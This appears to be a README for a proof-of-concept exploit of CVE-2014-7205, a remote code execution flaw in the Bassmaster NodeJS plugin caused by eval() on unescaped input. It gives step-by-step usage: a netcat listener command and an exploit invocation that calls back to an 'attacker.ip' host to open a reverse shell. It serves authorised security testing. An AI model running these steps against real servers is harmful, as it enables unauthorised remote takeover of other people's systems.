Bassmaster NodeJS Plugin RCE PoC

bassmaster-rce.py: A Python script to exploit CVE-2014-7205. nodeshell.py: A Python module to generate a reverse shell for NodeJS

!!Only use against servers on which you have permission to test

Summary

CVE-2014-7205 is a Remote Code Execution vulnerability in Bassmaster Plugin for NodeJS. All versions <= 1.5.1 are affected. The vulnerability exist within the lib/batch.js file in the internals.batch function where a call to eval() uses improperly escaped user input (basically the regex doesn't check if the requests contains malicious code).

Proof of Concept

1. Download or clone git repo
2. Open a netcat listener in bash terminal nc -lvp 4444
3. Make sure bassmaster-rce.py and nodeshell.py are in the same folder
4. Run bassmaster-rce.py python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

Other

• nodeshell.py is fully portable to other PoCs and Exploits using python which also need to generate a reverse shell for NodeJS